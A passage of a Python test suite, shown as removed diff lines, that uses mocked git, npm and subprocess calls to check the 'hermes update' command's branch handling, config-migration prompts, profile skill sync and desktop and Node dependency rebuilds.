cmd_update(mock_args)-- assert exit_info.value.code == 1- write_gateway_exit.assert_called_once_with(False)- finalize_receipt.assert_called_once_with("partial")- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_fork_upstream_sync_that_moves_head_runs_post_update_steps(- self, mock_run, _mock_which, mock_args, capsys- ):- """A fork sync that pulls code must continue through post-update work."""- from hermes_cli import main as hm- from hermes_cli import update_cmd-- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="0"- )-- # The first two reads bracket the upstream sync (aaaaaaa -> bbbbbbb:- # the sync moved HEAD). The NEXT two bracket the pull inside the- # normal update path (bbbbbbb -> ccccccc) — the head-moved no-op- # guard added after this PR exits 1 when that pair is equal, so the- # mock must show the pull advancing HEAD too.- shas = iter(["aaaaaaa", "bbbbbbb", "bbbbbbb", "ccccccc"])-- with patch.object(- hm,- "_get_origin_url",- return_value="https://github.com/example/hermes-agent.git",- ), patch.object(- update_cmd,- "_capture_head_sha",- side_effect=lambda *_args, **_kwargs: next(shas, "ccccccc"),- ), patch(- # The full post-update path runs the fleet version check, which- # reads the REAL machine's profile gateway_state.json files —- # live gateways on a dev box read as STALE vs this checkout and- # exit 1. Pin an empty fleet: this test asserts the post-update- # path RUNS, not the fleet's health.- "hermes_cli.update_receipt.collect_fleet_versions",- return_value=[],- ), patch(- # Same isolation for the restart phase: without these, the real- # machine's live gateways enter the restart discovery, the- # mocked-subprocess restart phase can't verify replacements, and- # the fail-closed contract (#78574) exits 1 (locally the- # live-system guard blocks the os.kill outright).- "hermes_cli.gateway.find_gateway_pids",- return_value=[],- ), patch(- "hermes_cli.gateway.find_profile_gateway_processes",- return_value=[],- ), patch(- "hermes_cli.gateway._get_service_pids",- return_value=set(),- ), patch.object(- hm, "_sync_with_upstream_if_needed"- ), patch.object(- hm,- "_upgrade_pip_before_lazy_refresh",- # Reaching the lazy-refresh step IS the proof the post-update path ran- # (the bug returned from "Already up to date!" before it). Abort- # the pipeline right here: everything past this point (skills- # sync, desktop rebuild, gateway restart, fleet check) would run- # for real against the host machine.- side_effect=SystemExit(0),- ) as post_update_step:- with pytest.raises(SystemExit) as exit_info:- cmd_update(mock_args)-- assert exit_info.value.code == 0- post_update_step.assert_called_once()- captured = capsys.readouterr()- assert "Already up to date!" not in captured.out-- def test_update_non_interactive_runs_safe_config_migrations(self, mock_args, capsys):- """Dashboard/web updates apply non-interactive migrations before restart."""- with patch("shutil.which", return_value=None), patch(- "subprocess.run"- ) as mock_run, patch("builtins.input") as mock_input, patch(- "hermes_cli.config.get_missing_env_vars", return_value=["MISSING_KEY"]- ), patch(- "hermes_cli.config.get_missing_config_fields",- return_value=[{"key": "new.option", "default": True}],- ), patch(- "hermes_cli.update_cmd._run_config_check_fresh", return_value=(1, 2)- ), patch(- "hermes_cli.update_cmd._run_migrate_config_fresh",- return_value={"env_added": [], "config_added": ["new.option"]},- ) as migrate_config, patch("hermes_cli.main.sys") as mock_sys:- mock_sys.stdin.isatty.return_value = False- mock_sys.stdout.isatty.return_value = False- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- cmd_update(mock_args)-- mock_input.assert_not_called()- migrate_config.assert_called_once_with(interactive=False, quiet=False)- captured = capsys.readouterr()- assert "applying safe config migrations" in captured.out- assert "API keys require manual entry" in captured.out---class TestCmdUpdateMigrationPrompt:- """The config-migration prompt names what changed and skips the prompt- entirely when only the config format version moved.-- Regression guard for the contentless-prompt report (ScottFive / Tt2021):- previously the prompt printed only counts ("1 new config option") and- asked "configure them now?" even for pure version bumps, where saying- yes looked like a no-op.- """-- def test_version_bump_only_applies_silently_without_prompt(- self, mock_args, capsys- ):- """Only the version moved → apply non-interactively, never prompt."""- with patch("shutil.which", return_value=None), patch(- "subprocess.run"- ) as mock_run, patch("builtins.input") as mock_input, patch(- "hermes_cli.config.get_missing_env_vars", return_value=[]- ), patch(- "hermes_cli.config.get_missing_config_fields", return_value=[]- ), patch(- "hermes_cli.update_cmd._run_config_check_fresh", return_value=(5, 24)- ), patch(- "hermes_cli.update_cmd._run_migrate_config_fresh",- return_value={"env_added": [], "config_added": [], "warnings": []},- ) as mock_migrate:- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- cmd_update(mock_args)-- mock_input.assert_not_called()- mock_migrate.assert_called_once_with(interactive=False, quiet=True)- out = capsys.readouterr().out- assert "Updating config format (v5 → v24)" in out- assert "no new settings to configure" in out- # The misleading question must NOT appear for a pure version bump.- assert "configure them now" not in out.lower()-- def test_version_bump_only_surfaces_migration_resets(- self, mock_args, capsys- ):- """A quiet version-bump migration that RESETS a user setting must say so.-- Regression for #86656: the v33→v34 personality reset ran with- quiet=True and its results dict was discarded, so the update printed- "no new settings to configure" while silently wiping- display.personality. Migration-step mutations (config_added) and- warnings must be re-surfaced even in the silent branch.- """- with patch("shutil.which", return_value=None), patch(- "subprocess.run"- ) as mock_run, patch("builtins.input") as mock_input, patch(- "hermes_cli.config.get_missing_env_vars", return_value=[]- ), patch(- "hermes_cli.config.get_missing_config_fields", return_value=[]- ), patch(- "hermes_cli.update_cmd._run_config_check_fresh", return_value=(33, 34)- ), patch(- "hermes_cli.update_cmd._run_migrate_config_fresh",- return_value={- "env_added": [],- "config_added": ["display.personality=none (one-time reset)"],- "warnings": ["Disabled suspicious MCP server 'evil'"],- },- ):- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- cmd_update(mock_args)-- mock_input.assert_not_called()- out = capsys.readouterr().out- assert "Updating config format (v33 → v34)" in out- assert "no new settings to configure" in out- # The migration's mutation note and warning must NOT be swallowed.- assert "display.personality=none (one-time reset)" in out- assert "Disabled suspicious MCP server 'evil'" in out-- def test_new_options_are_listed_by_name_before_prompt(- self, mock_args, capsys- ):- """New env/config keys are printed by name so the user can decide."""- env_items = [- {"name": "FOO_API_KEY", "description": "Foo service API key"},- ]- cfg_items = [- {"key": "display.new_widget", "description": "New config option: display.new_widget"},- ]- with patch("shutil.which", return_value=None), patch(- "subprocess.run"- ) as mock_run, patch("builtins.input", return_value="n"), patch(- "hermes_cli.config.get_missing_env_vars", return_value=env_items- ), patch(- "hermes_cli.config.get_missing_config_fields", return_value=cfg_items- ), patch(- "hermes_cli.update_cmd._run_config_check_fresh", return_value=(1, 24)- ), patch(- "hermes_cli.update_cmd._run_migrate_config_fresh",- return_value={"env_added": [], "config_added": [], "warnings": []},- ), patch("hermes_cli.main.sys") as mock_sys:- mock_sys.stdin.isatty.return_value = True- mock_sys.stdout.isatty.return_value = True- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- cmd_update(mock_args)-- out = capsys.readouterr().out- # Names, not just counts.- assert "FOO_API_KEY" in out- assert "Foo service API key" in out- assert "display.new_widget" in out---class TestCmdUpdateProfileSkillSync:- """cmd_update syncs bundled skills to all profiles, including the active one.-- Regression guard for #16176: previously the active profile was excluded- from the seed_profile_skills loop, leaving it on stale skill content.- """-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_active_profile_included_in_skill_sync(- self, mock_run, _mock_which, mock_args, capsys- ):- from pathlib import Path-- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- default_p = SimpleNamespace(name="default", path=Path("/fake/.hermes"))- active_p = SimpleNamespace(name="bit", path=Path("/fake/.hermes/profiles/bit"))- other_p = SimpleNamespace(name="work", path=Path("/fake/.hermes/profiles/work"))- all_profiles = [default_p, active_p, other_p]-- synced_paths = []-- def fake_seed(path, quiet=False):- synced_paths.append(path)- return {"copied": [], "updated": [], "user_modified": []}-- empty_sync = {"copied": [], "updated": [], "user_modified": [], "cleaned": []}-- with (- patch("hermes_cli.profiles.list_profiles", return_value=all_profiles),- patch("hermes_cli.profiles.seed_profile_skills", side_effect=fake_seed),- patch("tools.skills_sync.sync_skills", return_value=empty_sync),- ):- cmd_update(mock_args)-- assert active_p.path in synced_paths, (- f"Active profile 'bit' must be included in skill sync; got: {synced_paths}"- )- assert set(synced_paths) == {p.path for p in all_profiles}, (- f"All profiles must be synced; got: {synced_paths}"- )-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_single_profile_default_is_synced(- self, mock_run, _mock_which, mock_args, capsys- ):- from pathlib import Path-- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )-- default_p = SimpleNamespace(name="default", path=Path("/fake/.hermes"))- synced_paths = []-- def fake_seed(path, quiet=False):- synced_paths.append(path)- return {"copied": [], "updated": [], "user_modified": []}-- empty_sync = {"copied": [], "updated": [], "user_modified": [], "cleaned": []}-- with (- patch("hermes_cli.profiles.list_profiles", return_value=[default_p]),- patch("hermes_cli.profiles.seed_profile_skills", side_effect=fake_seed),- patch("tools.skills_sync.sync_skills", return_value=empty_sync),- ):- cmd_update(mock_args)-- assert default_p.path in synced_paths---class TestCmdUpdateBranchFlag:- """``hermes update --branch <name>`` targets the requested branch.-- The CLI default stays 'main'; --branch lets callers pick a different- target without monkey-patching the implementation.- """-- def _branch_side_effect(self, current_branch, target_branch, *, checkout_fails=False, track_fails=False, commit_count="0"):- """Mock side-effect that knows about checkout/track behavior.-- - ``current_branch`` what ``git rev-parse --abbrev-ref HEAD`` returns- - ``target_branch`` passed via --branch; what we expect the code to switch to- - ``checkout_fails`` if True, ``git checkout <target>`` returns non-zero- (simulates branch absent locally; code should retry with -B)- - ``track_fails`` if True, ``git checkout -B <target> origin/<target>`` ALSO fails- (simulates branch absent on origin too)- - ``commit_count`` rev-list count returned (0 = up-to-date, >0 = behind)- """-- def side_effect(cmd, **kwargs):- joined = " ".join(str(c) for c in cmd)-- if "rev-parse" in joined and "--abbrev-ref" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout=f"{current_branch}\n", stderr="")-- if "checkout" in joined and "-B" in joined:- rc = 128 if track_fails else 0- err = f"fatal: '{target_branch}' did not match any file(s) known to git\n" if track_fails else ""- return subprocess.CompletedProcess(cmd, rc, stdout="", stderr=err)-- if "checkout" in joined and "-B" not in joined and "rev-parse" not in joined:- rc = 128 if checkout_fails else 0- err = f"error: pathspec '{target_branch}' did not match\n" if checkout_fails else ""- return subprocess.CompletedProcess(cmd, rc, stdout="", stderr=err)-- if "rev-list" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout=f"{commit_count}\n", stderr="")-- return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="")-- return side_effect-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_branch_flag_pulls_against_named_branch(self, mock_run, _mock_which, capsys):- """--branch bb/gui makes rev-list and pull target origin/bb/gui."""- mock_run.side_effect = self._branch_side_effect(- current_branch="bb/gui", target_branch="bb/gui", commit_count="3"- )- args = SimpleNamespace(branch="bb/gui")-- cmd_update(args)-- commands = [" ".join(str(a) for a in c.args[0]) for c in mock_run.call_args_list]-- # rev-list must compare against origin/bb/gui, not origin/main- rev_list_cmds = [c for c in commands if "rev-list" in c]- assert any("origin/bb/gui" in c for c in rev_list_cmds), rev_list_cmds- assert not any("origin/main" in c for c in rev_list_cmds), rev_list_cmds-- # the ff-only merge must target origin/bb/gui- merge_cmds = [c for c in commands if "merge --ff-only" in c]- assert any("origin/bb/gui" in c and "origin/main" not in c for c in merge_cmds), merge_cmds--- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_branch_flag_fails_when_branch_missing_everywhere(self, mock_run, _mock_which, capsys):- """If branch doesn't exist locally OR on origin, exit non-zero with clear error."""- mock_run.side_effect = self._branch_side_effect(- current_branch="main",- target_branch="nonexistent",- checkout_fails=True,- track_fails=True,- commit_count="0",- )- args = SimpleNamespace(branch="nonexistent")-- with pytest.raises(SystemExit) as exc_info:- cmd_update(args)- assert exc_info.value.code == 1-- out = capsys.readouterr().out- assert "does not exist locally or on origin" in out- assert "nonexistent" in out---class TestCmdUpdateCheckBranchFlag:- """``hermes update --check --branch <name>`` honors the branch override.-- The check path used to call ``git rev-list HEAD..origin/<branch> --count``- with ``check=True``. When the branch didn't exist on origin, the fetch- silently succeeded (no refspec) but rev-list exited 128 and a raw- ``CalledProcessError`` propagated to the user. These tests pin the- friendlier behavior: detect-the-missing-ref before rev-list, exit 1- with a clear message.- """-- def _check_side_effect(- self,- target_branch: str,- *,- verify_ok: bool = True,- commit_count: str = "0",- upstream_fetch_ok: bool = True,- ):- """Mock side-effect for the _cmd_update_check git pipeline.-- - ``target_branch`` what we expect compare ref to point at- - ``verify_ok`` if False, ``git rev-parse --verify --quiet- origin/<branch>`` fails (branch missing- on origin)- - ``commit_count`` rev-list count (0 = up-to-date)- - ``upstream_fetch_ok`` if False, ``git fetch upstream`` fails- (forces fallback to origin on branch==main)- """-- def side_effect(cmd, **kwargs):- joined = " ".join(str(c) for c in cmd)-- if "fetch" in joined and "upstream" in joined:- rc = 0 if upstream_fetch_ok else 128- err = "" if upstream_fetch_ok else "fatal: 'upstream' does not appear to be a git repository\n"- return subprocess.CompletedProcess(cmd, rc, stdout="", stderr=err)-- if "fetch" in joined and "origin" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="")-- if "rev-parse" in joined and "--verify" in joined:- rc = 0 if verify_ok else 1- return subprocess.CompletedProcess(cmd, rc, stdout="", stderr="")-- if "rev-list" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout=f"{commit_count}\n", stderr="")-- return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="")-- return side_effect-- @patch("hermes_cli.config.detect_install_method", return_value="git")- @patch("subprocess.run")- def test_check_branch_compares_against_named_origin_branch(- self, mock_run, _mock_method, capsys- ):- """--check --branch bb/gui compares against origin/bb/gui, never origin/main."""- mock_run.side_effect = self._check_side_effect(- target_branch="bb/gui", verify_ok=True, commit_count="2"- )- args = SimpleNamespace(check=True, branch="bb/gui")-- cmd_update(args)-- commands = [" ".join(str(a) for a in c.args[0]) for c in mock_run.call_args_list]- # Non-main branch skips upstream probe entirely.- assert not any("fetch" in c and "upstream" in c for c in commands), commands- # Verify and rev-list both target origin/bb/gui.- verify_cmds = [c for c in commands if "rev-parse" in c and "--verify" in c]- assert any("origin/bb/gui" in c for c in verify_cmds), verify_cmds- rev_list_cmds = [c for c in commands if "rev-list" in c]- assert any("origin/bb/gui" in c for c in rev_list_cmds), rev_list_cmds- assert not any("origin/main" in c for c in rev_list_cmds), rev_list_cmds-- @patch("hermes_cli.config.detect_install_method", return_value="git")- @patch("subprocess.run")- def test_check_branch_missing_on_origin_exits_cleanly(- self, mock_run, _mock_method, capsys- ):- """If origin/<branch> doesn't exist, surface a friendly error and exit 1.-- Pre-fix this case raised CalledProcessError from rev-list's check=True- and dumped a Python traceback to stdout.- """- mock_run.side_effect = self._check_side_effect(- target_branch="ghost", verify_ok=False- )- args = SimpleNamespace(check=True, branch="ghost")-- with pytest.raises(SystemExit) as exc_info:- cmd_update(args)- assert exc_info.value.code == 1-- out = capsys.readouterr().out- # No raw Python traceback.- assert "Traceback" not in out- assert "CalledProcessError" not in out- # Friendly message naming the branch.- assert "ghost" in out- assert "not found" in out-- # rev-list must never have been called once verify failed.- commands = [" ".join(str(a) for a in c.args[0]) for c in mock_run.call_args_list]- assert not any("rev-list" in c for c in commands), commands-- @patch("hermes_cli.config.detect_install_method", return_value="git")- @patch("subprocess.run")- def test_check_default_main_still_prefers_upstream(- self, mock_run, _mock_method, capsys- ):- """No --branch (or --branch=None) preserves the upstream-then-origin probe."""- mock_run.side_effect = self._check_side_effect(- target_branch="main", verify_ok=True, commit_count="0"- )- args = SimpleNamespace(check=True, branch=None)-- cmd_update(args)-- commands = [" ".join(str(a) for a in c.args[0]) for c in mock_run.call_args_list]- # Should have tried upstream first.- assert any("fetch" in c and "upstream" in c for c in commands), commands- # Compare ref is upstream/main (upstream fetch succeeded).- rev_list_cmds = [c for c in commands if "rev-list" in c]- assert any("upstream/main" in c for c in rev_list_cmds), rev_list_cmds---class TestCmdUpdateZipBranchRefusal:- """``hermes update --branch=<non-main>`` must refuse on the ZIP fallback path.-- The ZIP fallback hard-codes a GitHub archive URL for main.zip; honoring- --branch arbitrarily would require remote-branch existence checks the- fallback can't easily do. Refusing is the right move — silently lying- about which branch got installed is the bug --branch was meant to prevent.- """-- def test_zip_fallback_refuses_non_main_branch(self, capsys):- from hermes_cli.update_cmd import _update_via_zip-- args = SimpleNamespace(branch="bb/gui")- with pytest.raises(SystemExit) as exc_info:- _update_via_zip(args)- assert exc_info.value.code == 1-- out = capsys.readouterr().out- assert "bb/gui" in out- assert "not supported" in out- # No actual download attempted.- assert "Downloading latest version" not in out---def test_is_termux_env_true_for_termux_prefix():- from hermes_cli import main as hm-- assert hm._is_termux_env({"PREFIX": "/data/data/com.termux/files/usr"}) is True---def test_load_installable_optional_extras_supports_termux_group(tmp_path, monkeypatch):- from hermes_cli import main as hm-- pyproject = tmp_path / "pyproject.toml"- pyproject.write_text(- """-[project]-name = "x"-version = "0.0.0"--[project.optional-dependencies]-all = ["x[mcp]"]-termux-all = ["x[termux]", "x[mcp]"]-mcp = ["mcp>=1"]-termux = ["rich>=14"]-""".strip()- )- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)-- assert main_install_repair._load_installable_optional_extras(group="all") == ["mcp"]- assert main_install_repair._load_installable_optional_extras(group="termux-all") == ["termux", "mcp"]---class TestNodeRuntimeNpmResolution:- """Regression tests for #30271 — WSL must not run Windows npm against the- Linux checkout, and a failed Node refresh must not report success."""------- def test_node_failure_returns_failed_labels_and_warns(- self, tmp_path, monkeypatch, capsys- ):- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_resolve_node_runtime_npm", lambda: "/usr/bin/npm")- monkeypatch.setattr(- hm,- "_run_npm_install_deterministic",- lambda *a, **k: subprocess.CompletedProcess([], 1, stdout="", stderr=""),- )-- with patch(- "tools.browser_tool_install.warm_agent_browser_npx_cache", return_value=True- ):- failed = update_cmd._update_node_dependencies()- assert failed == ["ui-tui, web workspaces"]- out = capsys.readouterr().out- assert "mixed state" in out-- def test_wsl_update_skips_windows_npm_build_paths(self, mock_args, monkeypatch):- """A Windows-only npm on WSL must not reach web or desktop builds."""- from hermes_cli import main as hm- import hermes_constants-- windows_npm = "/mnt/c/Program Files/nodejs/npm"- monkeypatch.setattr(hm, "_is_windows", lambda: False)- monkeypatch.setattr(hermes_constants, "is_wsl", lambda: True)- monkeypatch.setattr(- hermes_constants,- "find_node_executable",- lambda command: windows_npm if command == "npm" else None,- )- monkeypatch.setattr(- hm.shutil,- "which",- lambda command, path=None: windows_npm if command == "npm" else "/usr/bin/uv",- )- monkeypatch.setenv("PATH", "/mnt/c/Program Files/nodejs")-- with patch("subprocess.run") as mock_run, \- patch.object(main_web_build, "_web_ui_build_needed", return_value=True), \- patch.object(hm, "_desktop_packaged_executable", return_value=None), \- patch.object(hm, "_desktop_dist_exists", return_value=True), \- patch.object(hm, "_run_npm_install_deterministic") as mock_npm_install, \- patch.object(main_web_build, "_run_with_idle_timeout") as mock_idle_build, \- patch.object(hm, "_run_logged_subprocess") as mock_desktop_build:- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="1"- )- cmd_update(mock_args)-- mock_npm_install.assert_not_called()- mock_idle_build.assert_not_called()- mock_desktop_build.assert_not_called()- assert all(- not call.args or not call.args[0] or call.args[0][0] != windows_npm- for call in mock_run.call_args_list- )-- def test_update_rebuilds_desktop_that_disappears_mid_update(self):- """A previously packaged Desktop must be rebuilt when its release tree vanishes."""- from hermes_cli import main as hm- from hermes_cli import update_cmd-- desktop_dir = PROJECT_ROOT / "apps" / "desktop"- (desktop_dir / "package.json").write_text("{}", encoding="utf-8")- packaged_exe = desktop_dir / "release" / "win-unpacked" / "Hermes.exe"- build_ok = subprocess.CompletedProcess([], 0, stdout="", stderr="")-- with (- patch.object(- hm, "_desktop_packaged_executable", side_effect=[packaged_exe, None]- ) as packaged,- patch.object(hm, "_desktop_dist_exists", return_value=False),- patch.object(hm, "_resolve_node_runtime_npm", return_value="npm.cmd"),- patch.object(hm, "_desktop_build_needed", return_value=True),- patch.object(hm, "_run_logged_subprocess", return_value=build_ok) as desktop_build,- ):- had_desktop_app_before_update = update_cmd._desktop_app_present(desktop_dir)- assert not update_cmd._desktop_app_present(desktop_dir)- update_cmd._rebuild_desktop_after_update(- desktop_dir,- had_desktop_app_before_update=had_desktop_app_before_update,- )-- assert packaged.call_count == 2- desktop_build.assert_called_once_with(- [hm.sys.executable, "-m", "hermes_cli.main", "desktop", "--build-only"],- cwd=PROJECT_ROOT,- env=ANY,- )-- def test_git_failure_zip_fallback_rebuilds_missing_desktop(self, tmp_path, monkeypatch):- """The Windows ZIP fallback keeps Desktop intact when replacing ``apps/``.-- Contract updated for the #70337/#87331 release-dir graft: the built- desktop app (release/win-unpacked/Hermes.exe) is preserved THROUGH- the swap — previously this test pinned the old repair shape (exe- deleted by the swap, then rebuilt from scratch). The rebuild hook- still runs (mocked _desktop_build_needed=True), but it now finds- the packaged exe alive rather than missing.- """- import zipfile-- from hermes_cli import main as hm- from hermes_cli import update_cmd-- project_root = tmp_path / "hermes-agent"- (project_root / ".git").mkdir(parents=True)- desktop_dir = project_root / "apps" / "desktop"- packaged_exe = desktop_dir / "release" / "win-unpacked" / "Hermes.exe"- packaged_exe.parent.mkdir(parents=True)- packaged_exe.write_bytes(b"desktop")-- def write_source_zip(_url, destination):- with zipfile.ZipFile(destination, "w") as archive:- archive.writestr("hermes-agent-main/apps/desktop/package.json", "{}")-- def fail_git_fetch(command, **_kwargs):- if "fetch" in command:- raise subprocess.CalledProcessError(1, command)- return subprocess.CompletedProcess(command, 0, stdout="", stderr="")-- desktop_builds = []-- def rebuild_desktop(*_args, **_kwargs):- desktop_builds.append(not packaged_exe.exists())- return subprocess.CompletedProcess([], 0, stdout="", stderr="")-- monkeypatch.setattr(hm, "PROJECT_ROOT", project_root)- monkeypatch.setattr(hm, "_is_windows", lambda: True)- monkeypatch.setattr(hm, "_run_pre_update_backup", lambda _args: None)- monkeypatch.setattr(hm, "_pause_windows_gateways_for_update", lambda: None)- monkeypatch.setattr(hm, "_get_origin_url", lambda *_args: "")- monkeypatch.setattr(- hm,- "_desktop_packaged_executable",- lambda _desktop_dir: packaged_exe if packaged_exe.exists() else None,- )- monkeypatch.setattr(hm, "_desktop_dist_exists", lambda _desktop_dir: False)- monkeypatch.setattr(hm, "_resolve_node_runtime_npm", lambda: "npm.cmd")- monkeypatch.setattr(hm, "_desktop_build_needed", lambda *_args, **_kwargs: True)- monkeypatch.setattr(hm, "_run_logged_subprocess", rebuild_desktop)- monkeypatch.setattr(hm, "_clear_bytecode_cache", lambda *_args: 0)- monkeypatch.setattr(hm, "_record_bytecode_fingerprint", lambda: None)- monkeypatch.setattr(hm, "_refresh_bootstrap_cache_scripts", lambda _branch: None)- monkeypatch.setattr(- hm, "_install_python_dependencies_with_optional_fallback", lambda *_args, **_kwargs: None- )- monkeypatch.setattr(hm, "_refresh_active_memory_provider_dependencies", lambda: None)- monkeypatch.setattr(hm, "_build_web_ui", lambda *_args: None)- monkeypatch.setattr(update_cmd, "_discard_lockfile_churn", lambda *_args: None)- monkeypatch.setattr(update_cmd, "_normalize_managed_eol", lambda *_args: None)- monkeypatch.setattr(- update_cmd,- "_validate_critical_modules_import",- lambda *_args: (True, None, None),- )- monkeypatch.setattr(update_cmd, "_update_node_dependencies", lambda: [])- monkeypatch.setattr(update_cmd, "_print_curator_first_run_notice", lambda: None)- monkeypatch.setattr(update_cmd, "_print_curator_recent_run_notice", lambda: None)- monkeypatch.setattr(update_cmd, "_finish_dashboard_update_cleanup", lambda _failures: None)- monkeypatch.setattr(update_cmd, "get_hermes_home", lambda: tmp_path / "hermes-home")-- with (- patch("hermes_cli.config.load_config", return_value={}),- patch("subprocess.run", side_effect=fail_git_fetch),- patch("urllib.request.urlretrieve", side_effect=write_source_zip),- patch("hermes_cli.managed_uv.ensure_uv", return_value="uv"),- patch("hermes_cli.managed_uv.update_managed_uv"),- patch(- "tools.skills_sync.sync_skills",- return_value={- "copied": [],- "updated": [],- "user_modified": [],- "cleaned": [],- "relocated": [],- },- ),- patch("hermes_cli.model_catalog.seed_cache_from_checkout", return_value=False),- ):- update_cmd._cmd_update_impl(- SimpleNamespace(yes=True, force=True, force_venv=True, branch=None),- gateway_mode=False,- )-- # Release-dir graft (#70337): the packaged exe SURVIVES the swap, so- # the rebuild hook observed it present (False), and the bytes are the- # original build — never deleted, never rebuilt from nothing.- assert desktop_builds == [False]- assert packaged_exe.exists()- assert packaged_exe.read_bytes() == b"desktop"---class TestUpdateNodeDependencies:- """Unit tests for _update_node_dependencies — issue #43564.-- Root package.json has no dependencies of its own: agent-browser- resolves at runtime via npx (tools/browser_tool.py), and @streamdown/math- moved to apps/desktop/package.json since it's a desktop-only import.- With nothing root-only left to protect, a single workspace-scoped- install (ui-tui, web) is safe — apps/desktop is simply never named, so- its ~200 MB Electron devDependency is never resolved. Skipping is- governed by _npm_lockfile_changed (content hash over the lockfile +- every workspace package.json), tested separately in- TestNpmLockfileChanged.- Uses a tmp_path root so tests never touch real node_modules.- """-- @pytest.fixture(autouse=True)- def _stub_npx_warmup(self):- """The npx cache warm-up is covered by its own dedicated test below;- stub it out everywhere else so it doesn't add a spurious npm/npx- call to the workspace-install assertions in this class."""- with patch("tools.browser_tool_install.warm_agent_browser_npx_cache", return_value=True):- yield-- def _npm_calls(self, mock_run):- return [- call.args[0]- for call in mock_run.call_args_list- if call.args and "npm" in str(call.args[0][0])- ]-- def _make_popen(self, calls, returncode=0, stderr_lines=()):- """Fake subprocess.Popen recording each invocation's cmd/kwargs.-- _update_node_dependencies always runs npm with capture_output=False,- which routes through the Popen-based stderr-teeing path in- _run_npm_watching_for_engine_failure rather than subprocess.run.- """-- class _FakeProc:- def __init__(self, cmd, **kwargs):- calls.append({"cmd": cmd, "kwargs": kwargs})- self.stderr = iter(stderr_lines)-- def __enter__(self):- return self-- def __exit__(self, *exc_info):- return False-- def wait(self):- return returncode-- return _FakeProc-- def _popen_npm_calls(self, calls):- return [c["cmd"] for c in calls if c["cmd"] and "npm" in str(c["cmd"][0])]-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_install_names_ui_tui_and_web_workspaces(self, _which, mock_popen, tmp_path, monkeypatch):- """Regression for #43564: install ui-tui + web directly. apps/desktop- must never appear, so its Electron postinstall is never triggered.- """- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- popen_calls = []- mock_popen.side_effect = self._make_popen(popen_calls)-- update_cmd._update_node_dependencies()-- calls = self._popen_npm_calls(popen_calls)- assert len(calls) == 1, f"expected exactly 1 npm call, got: {calls}"- joined = " ".join(str(a) for a in calls[0])- assert "--workspace ui-tui" in joined and "--workspace web" in joined, (- f"expected ui-tui + web workspace selectors; actual: {calls[0]}"- )- assert "desktop" not in joined, (- f"apps/desktop must not appear (avoids ~200 MB Electron download); actual: {calls[0]}"- )- assert "--workspaces=false" not in joined, (- f"no root-only deps remain to protect; --workspaces=false is unnecessary now; actual: {calls[0]}"- )-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_install_includes_workspace_root_to_protect_root_devdependencies(- self, _which, mock_popen, tmp_path, monkeypatch- ):- """Root package.json still owns devDependencies (the shared ESLint- flat config every workspace's own eslint.config.mjs imports) even- though agent-browser and @streamdown/math were removed from root- `dependencies` (#43564). --include-workspace-root keeps them from- being pruned by this scoped install, while --workspace ui-tui- --workspace web still excludes the unnamed apps/desktop workspace- (confirmed empirically against npm 10.9.8 and 11.9.0 in PR #44772- review)."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- popen_calls = []- mock_popen.side_effect = self._make_popen(popen_calls)-- update_cmd._update_node_dependencies()-- calls = self._popen_npm_calls(popen_calls)- assert len(calls) == 1- joined = " ".join(str(a) for a in calls[0])- assert "--include-workspace-root" in joined- assert "desktop" not in joined-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_install_preserves_standard_flags(self, _which, mock_popen, tmp_path, monkeypatch):- """--no-fund, --no-audit, --progress=false must survive."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- popen_calls = []- mock_popen.side_effect = self._make_popen(popen_calls)-- update_cmd._update_node_dependencies()-- calls = self._popen_npm_calls(popen_calls)- assert len(calls) == 1- joined = " ".join(str(a) for a in calls[0])- for flag in ("--no-fund", "--no-audit", "--progress=false"):- assert flag in joined, f"{flag} missing from npm call; actual: {calls[0]}"-- @patch("subprocess.run")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_skips_install_when_deps_up_to_date(self, _which, mock_run, tmp_path, monkeypatch):- """When _npm_lockfile_changed reports no change, npm must not be called."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: False)-- 